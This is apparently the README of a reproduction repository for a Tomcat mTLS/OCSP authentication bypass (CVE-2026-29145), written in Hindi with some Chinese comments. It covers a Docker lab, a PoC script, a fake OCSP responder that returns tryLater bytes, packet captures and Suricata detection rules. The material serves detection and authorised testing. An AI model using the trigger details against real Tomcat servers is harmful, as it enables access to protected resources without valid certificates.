
CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP सॉफ्ट-फेल बाईपास के लिए प्रतिलिपि योग्य PoC वातावरण, शोषण स्क्रिप्ट, नकली OCSP प्रतिक्रियाकर्ता और Suricata पहचान नियम शामिल हैं।
Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass पूर्ण पुनरुत्पादन वातावरण, शोषण ट्रैफ़िक पैकेट, और Suricata डिटेक्शन नियम लेखन सामग्री।
केवल अधिकृत सुरक्षा अनुसंधान और डिटेक्शन नियम विकास के लिए। अधिकृत प्रणालियों के लिए उपयोग न करें।
| आइटम | विवरण |
|---|---|
| CVE | CVE-2026-29145 |
| घटक | Apache Tomcat / Tomcat Native |
| प्रकार | प्रमाणीकरण बाईपास (mTLS / CLIENT_CERT) |
| CVSS | 9.1 (NVD) / Moderate (Apache) |
| प्रभावित संस्करण | Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13 आदि |
| सुधार संस्करण | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+ |
जब Tomcat CLIENT_CERT और OCSP सक्षम करता है, और **ocspSoftFail=false (हार्ड फेल) कॉन्फ़िगर करता है, तो कुछ OCSP विफलता पथ (विशेष रूप से प्रतिक्रिया स्थिति tryLater) अभी भी हार्ड फेल के रूप में संसाधित नहीं होते हैं, जिससे क्लाइंट प्रमाणपत्र जिसे अस्वीकार किया जाना चाहिए था, स्वीकार कर लिया जाता है, और संरक्षित संसाधनों तक पहुंचा जा सकता है।
आधिकारिक सुधार (उदा.: Tomcat commit fe26667c) FFM पथ में OCSP TRY_LATER के हैंडलिंग को Tomcat Native के साथ संरेखित करता है।
Tomcat 10.1.52 + Tomcat Native 2.0.12 पर:
मुख्य बिंदु: RFC 6960 का tryLater लौटाना अनिवार्य है, केवल HTTP 500 इस वातावरण में बाईपास को ट्रिगर करने के लिए पर्याप्त नहीं है।
CVE-2026-29145-Everything/
├── README.md # यह फ़ाइल
├── REPRODUCTION.md # विस्तृत पुनरुत्पादन नोट्स और Suricata संकेत
├── docker-compose.yml # कमजोर Tomcat + नकली OCSP
├── poc_exploit.py # शोषण/डिटेक्शन स्क्रिप्ट (exit 10 = कमजोर)
├── simple_proxy_fail.py # नकली OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh # CA/सर्वर/क्लाइंट प्रमाणपत्र उत्पन्न करें (OCSP AIA सहित)
├── capture_exploit.sh # एक-क्लिक शोषण और पैकेट कैप्चर
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # CLIENT-CERT उपयोगकर्ता मैपिंग
│ ├── ROOT/ # डिफ़ॉल्ट ROOT के लिए न्यूनतम पैच
│ └── protected/ # संरक्षित संसाधन + web.xml (CLIENT-CERT)
└── pcaps/ # ★ कैप्चर किया गया शोषण ट्रैफ़िक (नियम लिखने के लिए)
├── CVE-2026-29145-mtls-and-ocsp.pcap # मुख्य पैकेट: mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # केवल OCSP प्लेनटेक्स्ट
├── CVE-2026-29145-mtls-only.pcap # केवल 8443 TLS
└── exploit_response.html # शोषण सफलता प्रतिक्रिया स्नैपशॉट
प्रमाणपत्र निजी कुंजी निर्देशिका certs/ डिफ़ॉल्ट रूप से .gitignore द्वारा अनदेखा की जाती है, इसे स्थानीय रूप से उत्पन्न करना होगा।
pip install -r requirements.txt या सिस्टम python3-requests)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. 生成证书(AIA 指向 Docker 内 OCSP 服务名)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. 启动环境(默认 OCSP_MODE=try_later)
docker compose up -d
# 等待 healthy
docker compose ps
# 3. 运行 PoC
python3 poc_exploit.py
# 期望输出:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 退出码 10 = 脆弱;0 = 不可利用/已修补
मैन्युअल सत्यापन:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# 输出到 pcaps/CVE-2026-29145-*.pcap
रिपॉजिटरी में पहले से शामिल एक सफल शोषण का pcap है, जिसका उपयोग Suricata नियम सत्यापन के लिए सीधे किया जा सकता है, पुनः कैप्चर करने की आवश्यकता नहीं है।
# tryLater — CVE 触发路径(默认)
OCSP_MODE=try_later docker compose up -d --force-recreate
# HTTP 500 失败(本环境硬失败会拒绝)
OCSP_MODE=fail docker compose up -d --force-recreate
# 模拟 OCSP 成功(body 非真实 DER,仅测连通)
OCSP_MODE=succeed docker compose up -d --force-recreate
# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate
महत्वपूर्ण: 8443 TLS 1.3 एन्क्रिप्टेड mTLS है, इसे सीधे Wireshark से खोलने पर यह गार्बल जैसा दिखेगा।
8888 का OCSP प्लेनटेक्स्ट HTTP है, नियम लिखते समय पहले OCSP पर ध्यान देना चाहिए।
पूर्ण विवरण के लिए pcaps/README.md देखें।
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark:Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
विस्तृत जानकारी के लिए REPRODUCTION.md और pcaps/README.md देखें।
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
एप्लिकेशन परत CLIENT-CERT tomcat/protected/WEB-INF/web.xml में देखें।
ocspSoftFail नीति और OCSP पहुंच की समीक्षा करें; अप्राप्य/tryLater व्यवहार के लिए रिग्रेशन परीक्षण करें।./cleanup.sh
# 或
docker compose down -v
CVE-2026-29145-Tester (इस रिपॉजिटरी ने पुनरुत्पादनीय कॉन्फ़िगरेशन और tryLater पथ पर सुदृढ़ीकरण और पूर्ण रिकॉर्डिंग की है।)यह परियोजना केवल शिक्षा, अधिकृत पेनिट्रेशन टेस्टिंग और इंट्रूज़न डिटेक्शन नियम विकास के लिए है। उपयोगकर्ताओं को सुनिश्चित करना चाहिए कि उनके पास लक्ष्य प्रणाली पर कानूनी अधिकार है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
| OCSP व्यवहार | ocspSoftFail | परिणाम |
|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — बाईपास सफल |
| HTTP 500 | false | TLS अस्वीकार (हार्ड फेल प्रभावी) |
| OCSP टाइमआउट | false | TLS अस्वीकार |
| कोई भी विफलता | true | 200 (अपेक्षित सॉफ्ट-फेल) |
| फ़ाइल | विवरण |
|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | डिक्रिप्ट करने योग्य पूर्ण सत्र |
pcaps/CVE-2026-29145-ocsp-only.pcap | प्लेनटेक्स्ट OCSP (कोई कुंजी आवश्यक नहीं) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | OCSP HTTP आसानी से पढ़ने योग्य टेक्स्ट |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | डिक्रिप्टेड व्यवसाय HTTP टेक्स्ट |
rules/cve-2026-29145.rules | उदाहरण Suricata नियम |